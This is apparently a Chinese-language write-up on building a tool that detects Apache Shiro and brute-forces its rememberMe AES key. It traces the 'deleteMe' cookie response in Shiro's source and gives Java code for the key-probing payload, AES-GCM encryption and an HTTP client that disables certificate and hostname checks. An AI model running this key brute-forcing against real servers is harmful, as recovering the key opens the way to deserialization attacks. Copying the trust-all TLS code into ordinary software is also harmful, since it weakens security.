Shiro密钥检测工具编写思路
密钥检测部分
密钥检测原理
首先是检测是否为shiro
检测是否为shiro,只需要在http头输入rememberMe=1
,那么响应头就会有rememberMe=deleteMe
字段。
核心点在shiro-core-1.2.4-sources.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.java
的getRememberedPrincipals
方法中。
当key不正确时,AbstractRememberMeManager#decrypt
是处理解密的过程
我们调式一下,跟进cipherService.decrypt
因为无法正确解密,所以抛出错误。
并进入AbstractRememberMeManager#getRememberedPrincipals
的错误处理。
然后跟进onRememberedPrincipalFailure
方法。
然后进入forgetIdentity
方法。
在 forgetIdentity 方法当中从 subjectContext 对象获取 request 和 response ,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)
这个构造方法处理。
继续跟进进入removeFrom
关键就是addCookieHeader
增加了rememberMe字段
爆破密钥
那么,如果我们输入了正确的cookie,那么会如何处理?
如果是正确的,那么就不会进入错误处理,而是正确的反序列化,因此不会打印出rememberMe=deleteMe
所以我们选择用不同的密钥加密,当爆破到正确的密钥时,就不会输出rememberMe=deleteMe
。
- 构造一个继承 PrincipalCollection 的序列化对象。
- key正常不返回deleteMe,key错误返回deleteMe
所以就找到了simplePrincipalCollection
因此就用密钥序列化这个类。
密钥检测实现
public class KeyDetect {
public byte[] getPayload() throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(barr);
obj.writeObject(simplePrincipalCollection);
obj.close();
return barr.toByteArray();
}
}
首先我们就对SimplePrincipalCollection
类序列化。
然后对序列化数据进行AES加密。
public class createAESGCMCipher {
//实现AES中的GCM加密 shiro1.4.2版本更换为了AES-GCM加密方式
public static String encrypt(String Shirokey) throws Exception {
byte[] payloads = new KeyDetect().getPayload();
byte[] key = java.util.Base64.getDecoder().decode(Shirokey);
int ivSize = 16;
byte[] iv = new byte[ivSize];
SecureRandom random = new SecureRandom();
random.nextBytes(iv);
GCMParameterSpec ivParameterSpec = new GCMParameterSpec(128,iv);
SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(1, secretKeySpec, ivParameterSpec);
byte[] encrypted = cipher.doFinal(payloads);
byte[] encryptedIvandtext = new byte[ivSize + encrypted.length];
System.arraycopy(iv, 0, encryptedIvandtext, 0, ivSize);
System.arraycopy(encrypted, 0, encryptedIvandtext, ivSize, encrypted.length);
// return new BASE64Encoder().encode(encrypted);//此处使用BASE64做转码功能,同时能起到2次加密的作用。
String b64Payload = Base64.encodeToString(encryptedIvandtext);
// System.out.println(b64Payload);
return b64Payload;
}
}
然后对序列化数据进行AES加密。
这里的加密方式分为CBC加密和GCM加密。
在shiro1.4.2版本更换为了AES-GCM加密方式。
然后用java实现发包,注意这里要检测一下是否为https,如果是就跳过证书检测。否则会报错。
if (url.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init(null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
hsc = (HttpsURLConnection)realUrl.openConnection();
hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
}else {
hc = (HttpURLConnection)realUrl.openConnection();
hc.setRequestMethod("GET");
hc.setInstanceFollowRedirects(false);
System.out.println(hc.getRequestProperties());
httpUrlConn = hc;
}
注意这里javafx的ui会卡住,所以我使用了多线程。
Thread thread = new Thread(()->{
ShiroKeyDetect shiroKeyDetect = new ShiroKeyDetect();
String targetUrl = attackUrl.getText();
if(ShiroKeyDetect.isShiro(targetUrl)){
try {
shiroKeyDetect.ShiroKey(targetUrl);
} catch (Exception e) {
e.printStackTrace();
}
}else {
result.appendText("未检测到shiro框架"+"\n");
}
});
thread.start();
这样在处理的时候就不会未响应了。
ShiroKey检测项目地址https://github.com/Yang9999999/ShiroKeyDetect